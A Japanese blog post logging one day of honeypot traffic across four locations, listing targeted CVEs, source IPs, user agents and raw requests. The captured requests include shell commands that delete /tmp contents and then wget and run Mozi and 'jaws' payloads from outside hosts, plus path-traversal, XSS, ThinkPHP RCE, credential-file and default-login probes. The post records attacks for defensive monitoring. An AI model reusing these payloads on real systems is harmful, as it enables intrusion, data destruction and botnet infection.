コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/08/05 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2022/08/05分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
/.awsへのスキャン行為
/.envへのスキャン行為

Location:JP

Drupal脆弱性(CVE-2018-7600)を狙うアクセス
Joomla!脆弱性を狙うアクセス
.jsへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  rischyo.cf/jaws;
sh /tmp/jaws
Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Lkx-TraversalHttpPluginによるスキャン行為
l9exploreによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget networkmapping.xyz/jaws;
sh /tmp/jaws
アクセス数推移

JP:総アクセス数:222 (前日比:-276)
US:総アクセス数:64 (前日比:-183)
UK:総アクセス数:318 (前日比:270)
SG:総アクセス数:101 (前日比:-190)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
8 3.226.244.24 United States
1 20.150.137.208 United States
1 20.213.243.254 United States
8 34.204.172.154 United States
2 35.203.108.119 United States
2 35.205.238.118 United States
2 38.68.41.100 United States
1 45.148.10.81 Romania
1 59.99.131.0 India
1 62.210.144.241 France
1 66.240.205.34 United States
1 80.82.78.39 United Kingdom
16 95.214.235.205 Ukraine
2 109.237.103.118 Russia
1 117.216.28.221 India
7 135.125.217.54 France
8 135.125.246.189 France
1 137.184.88.136 United States
2 141.98.6.62 Bulgaria
1 147.182.255.203 United States
119 176.152.33.208 France
7 178.128.101.86 United States
21 178.128.168.143 United States
2 179.43.155.171 Panama
1 181.214.218.69 United States
1 185.225.73.109 Bulgaria
1 188.241.58.43 Romania
1 205.210.31.128 United States
1 209.97.154.36 United States
1 209.141.35.128 United States

UserAgent一覧

件数 UserAgent
19 -
1 Go-http-client/1.1
2 Hello, World
2 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
1 Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
1 Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0
2 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
119 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
39 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Roku/DVP-9.10 (289.10E04111A)

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 \x16\x03\x01\x01D\x01
13 \x16\x03\x01
1 GET /.aws/credentials HTTP/1.1
38 GET /.env HTTP/1.1
1 GET //prototype/.env HTTP/1.1
1 GET //staging/.env HTTP/1.1
1 GET /1phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /2phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /99vt HTTP/1.1
2 GET /99vu HTTP/1.1
1 GET /?q=%adnominally% HTTP/1.0
1 GET /Dockerrun.aws.json HTTP/1.1
1 GET /LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
1 GET /MyAdmin/index.php?lang=en HTTP/1.1
1 GET /PMA/index.php?lang=en HTTP/1.1
1 GET /SSI/index.htm HTTP/1.1
1 GET /_phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /_phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /_phpmyadmin_/index.php?lang=en HTTP/1.1
1 GET /admin/data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)> HTTP/1.1
1 GET /admin/db/index.php?lang=en HTTP/1.1
1 GET /admin/index.php?lang=en HTTP/1.1
1 GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /admin/pma/index.php?lang=en HTTP/1.1
1 GET /admin/sqladmin/index.php?lang=en HTTP/1.1
1 GET /admin/sysadmin/index.php?lang=en HTTP/1.1
1 GET /admin/web/index.php?lang=en HTTP/1.1
1 GET /administrator/PMA/index.php?lang=en HTTP/1.1
1 GET /administrator/admin/index.php?lang=en HTTP/1.1
1 GET /administrator/db/index.php?lang=en HTTP/1.1
1 GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /administrator/pma/index.php?lang=en HTTP/1.1
1 GET /administrator/web/index.php?lang=en HTTP/1.1
1 GET /authenticationendpoint/2cqknra9lcid3uax5pl2zow0jzj.jsp HTTP/1.1
1 GET /bin/wcm/contentfinder/connector/suggestions.json;%0aOJh.css?query_term=path%3a/&pre=2CqKNy33Eiwq4fhaQgRf4rBw8zT HTTP/1.1
1 GET /c/version.js HTTP/1.1
1 GET /data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)> HTTP/1.1
1 GET /database/index.php?lang=en HTTP/1.1
1 GET /db/db-admin/index.php?lang=en HTTP/1.1
1 GET /db/dbadmin/index.php?lang=en HTTP/1.1
1 GET /db/dbweb/index.php?lang=en HTTP/1.1
1 GET /db/index.php?lang=en HTTP/1.1
1 GET /db/myadmin/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin-4/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin-5/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin4/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin5/index.php?lang=en HTTP/1.1
1 GET /db/webadmin/index.php?lang=en HTTP/1.1
1 GET /db/webdb/index.php?lang=en HTTP/1.1
1 GET /db/websql/index.php?lang=en HTTP/1.1
1 GET /dbadmin/index.php?lang=en HTTP/1.1
1 GET /desktop/container/landing.jsp?locale=en_US HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1
1 GET /index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
1 GET /interface/login/login.php?site=default HTTP/1.1
1 GET /irj/go/km/navigation/ HTTP/1.1
1 GET /myadmin/index.php?lang=en HTTP/1.1
1 GET /mysql-admin/index.php?lang=en HTTP/1.1
1 GET /mysql/admin/index.php?lang=en HTTP/1.1
1 GET /mysql/db/index.php?lang=en HTTP/1.1
1 GET /mysql/dbadmin/index.php?lang=en HTTP/1.1
1 GET /mysql/index.php?lang=en HTTP/1.1
1 GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/pMA/index.php?lang=en HTTP/1.1
1 GET /mysql/pma/index.php?lang=en HTTP/1.1
1 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/web/index.php?lang=en HTTP/1.1
1 GET /mysqladmin/index.php?lang=en HTTP/1.1
1 GET /mysqlmanager/index.php?lang=en HTTP/1.1
1 GET /node_modules/mqtt/test/helpers/ HTTP/1.1
1 GET /php-my-admin/index.php?lang=en HTTP/1.1
1 GET /php-myadmin/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-4.9.7/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-4/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.2/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.3/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.2.0/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin2/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin3/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin4/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin5.1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin5.2/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin5/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin_/index.php?lang=en HTTP/1.1
1 GET /phpMyadmin/index.php?lang=en HTTP/1.1
1 GET /phpmy-admin/index.php?lang=en HTTP/1.1
1 GET /phpmy/index.php?lang=en HTTP/1.1
1 GET /phpmyAdmin/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin1/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2011/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2012/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2013/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2015/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2017/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2018/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2019/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2020/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2021/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2022/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin4/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin5/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin_/index.php?lang=en HTTP/1.1
1 GET /phppma/index.php?lang=en HTTP/1.1
1 GET /pma/index.php?lang=en HTTP/1.1
1 GET /program/index.php?lang=en HTTP/1.1
1 GET /rest/api/2/projectCategory?maxResults=1000 HTTP/1.1
4 GET /robots.txt HTTP/1.1
1 GET /service/rest/swagger.json HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ rischyo.cf/jaws;sh+/tmp/jaws
1 GET /shopdb/index.php?lang=en HTTP/1.1
1 GET /sql/myadmin/index.php?lang=en HTTP/1.1
1 GET /sql/php-myadmin/index.php?lang=en HTTP/1.1
1 GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1
1 GET /sql/phpmanager/index.php?lang=en HTTP/1.1
1 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1
1 GET /sql/phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /sql/phpmyadmin4/index.php?lang=en HTTP/1.1
1 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1
1 GET /sql/sql-admin/index.php?lang=en HTTP/1.1
1 GET /sql/sql/index.php?lang=en HTTP/1.1
1 GET /sql/sqladmin/index.php?lang=en HTTP/1.1
1 GET /sql/sqlweb/index.php?lang=en HTTP/1.1
1 GET /sql/webadmin/index.php?lang=en HTTP/1.1
1 GET /sql/webdb/index.php?lang=en HTTP/1.1
1 GET /sql/websql/index.php?lang=en HTTP/1.1
1 GET /sqlmanager/index.php?lang=en HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /wan.htm HTTP/1.1
1 GET /wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1 HTTP/1.1
1 GET /wp-content/plugins/idx-broker-platinum/ HTTP/1.1
1 GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.0
1 OPTIONS / HTTP/1.0
1 POST /29369674 HTTP/1.1
2 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /boafrm/formSysCmd HTTP/1.1
1 POST /examples/jsp/security/protected/j_security_check HTTP/1.1
1 POST /fileupload/toolsAny HTTP/1.1
1 POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
2 34.88.103.82 United States
2 34.139.232.44 United States
2 38.68.41.100 United States
8 51.79.29.48 Canada
2 109.237.103.9 Russia
2 109.237.103.118 Russia
7 128.199.207.203 United Kingdom
1 138.197.106.62 United States
1 143.198.129.219 United States
2 161.35.8.175 United States
1 162.142.125.7 United States
1 162.142.125.10 United States
1 164.92.85.51 United States
13 185.7.214.104 Hong Kong
4 185.165.190.17 Seychelles
8 185.254.196.223 Ukraine
1 192.53.161.189 United States
1 192.241.222.193 United States
1 193.124.7.9 Czechia
2 194.165.16.72 Panama
1 198.235.24.6 United States
1 222.140.161.113 China

UserAgent一覧

件数 UserAgent
18 -
1 AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9
1 Go-http-client/1.1
1 Hello, World
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
13 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
2 \x03
2 \x16\x03\x01\x01D\x01
4 \x16\x03\x01
1 \xb7\xecq\xb0r\x13\xd6\xb2)\xe6P\xaa!\x1a\x9e\n
1 GET /.aws/credentials HTTP/1.1
22 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /?q=%jerrid% HTTP/1.0
1 GET /_ignition/execute-solution HTTP/1.1
2 GET /actuator/gateway/routes HTTP/1.1
1 GET /c/version.js HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.0
1 OPTIONS / HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
1 8.31.2.47 United States
1 23.22.70.181 United States
2 34.105.192.58 United States
2 34.173.223.173 United States
1 64.62.197.59 United States
1 66.240.192.82 United States
1 67.129.123.70 United States
4 71.6.146.130 United States
1 103.14.35.145 Singapore
2 109.237.103.9 Russia
2 109.237.103.118 Russia
2 109.237.103.123 Russia
1 112.94.99.154 China
119 113.160.58.230 Vietnam
119 118.190.163.69 China
1 123.11.14.253 China
1 125.41.84.37 China
1 134.122.5.44 United States
1 167.88.62.92 United States
1 167.248.133.61 United States
1 172.105.77.209 United States
1 180.188.224.200 India
15 185.7.214.104 Hong Kong
1 193.124.7.9 Czechia
2 194.165.16.10 Panama
1 198.235.24.161 United States
7 207.154.231.159 United States
26 209.141.53.247 United States

UserAgent一覧

件数 UserAgent
47 -
1 Go-http-client/1.1
1 Hello, world
1 Mozila/5.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
238 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 zgrab/0.x
1 Roku/DVP-9.10 (289.10E04111A)

リクエスト内容一覧

件数 Method Request Protocol
1 -
2 \x03
3 \x16\x03\x01\x01D\x01
4 \x16\x03\x01
1 GET /.aws/credentials HTTP/1.1
3 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
2 GET /1phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /2phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /?q=%mislabors% HTTP/1.0
2 GET /MyAdmin/index.php?lang=en HTTP/1.1
2 GET /PMA/index.php?lang=en HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
2 GET /_phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /_phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /_phpmyadmin_/index.php?lang=en HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
2 GET /admin/db/index.php?lang=en HTTP/1.1
2 GET /admin/index.php?lang=en HTTP/1.1
2 GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /admin/pma/index.php?lang=en HTTP/1.1
2 GET /admin/sqladmin/index.php?lang=en HTTP/1.1
2 GET /admin/sysadmin/index.php?lang=en HTTP/1.1
2 GET /admin/web/index.php?lang=en HTTP/1.1
2 GET /administrator/PMA/index.php?lang=en HTTP/1.1
2 GET /administrator/admin/index.php?lang=en HTTP/1.1
2 GET /administrator/db/index.php?lang=en HTTP/1.1
2 GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /administrator/pma/index.php?lang=en HTTP/1.1
2 GET /administrator/web/index.php?lang=en HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /c/version.js HTTP/1.1
2 GET /console/ HTTP/1.1
2 GET /database/index.php?lang=en HTTP/1.1
2 GET /db/db-admin/index.php?lang=en HTTP/1.1
2 GET /db/dbadmin/index.php?lang=en HTTP/1.1
2 GET /db/dbweb/index.php?lang=en HTTP/1.1
2 GET /db/index.php?lang=en HTTP/1.1
2 GET /db/myadmin/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-4/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-5/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin4/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /db/webadmin/index.php?lang=en HTTP/1.1
2 GET /db/webdb/index.php?lang=en HTTP/1.1
2 GET /db/websql/index.php?lang=en HTTP/1.1
2 GET /dbadmin/index.php?lang=en HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
2 GET /myadmin/index.php?lang=en HTTP/1.1
2 GET /mysql-admin/index.php?lang=en HTTP/1.1
2 GET /mysql/admin/index.php?lang=en HTTP/1.1
2 GET /mysql/db/index.php?lang=en HTTP/1.1
2 GET /mysql/dbadmin/index.php?lang=en HTTP/1.1
2 GET /mysql/index.php?lang=en HTTP/1.1
2 GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1
2 GET /mysql/pMA/index.php?lang=en HTTP/1.1
2 GET /mysql/pma/index.php?lang=en HTTP/1.1
2 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1
2 GET /mysql/web/index.php?lang=en HTTP/1.1
2 GET /mysqladmin/index.php?lang=en HTTP/1.1
2 GET /mysqlmanager/index.php?lang=en HTTP/1.1
2 GET /php-my-admin/index.php?lang=en HTTP/1.1
2 GET /php-myadmin/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-4.9.7/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-4/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.2.0/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin4/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5.1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5.2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin_/index.php?lang=en HTTP/1.1
2 GET /phpMyadmin/index.php?lang=en HTTP/1.1
2 GET /phpmy-admin/index.php?lang=en HTTP/1.1
2 GET /phpmy/index.php?lang=en HTTP/1.1
2 GET /phpmyAdmin/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin1/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2011/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2012/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2013/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1
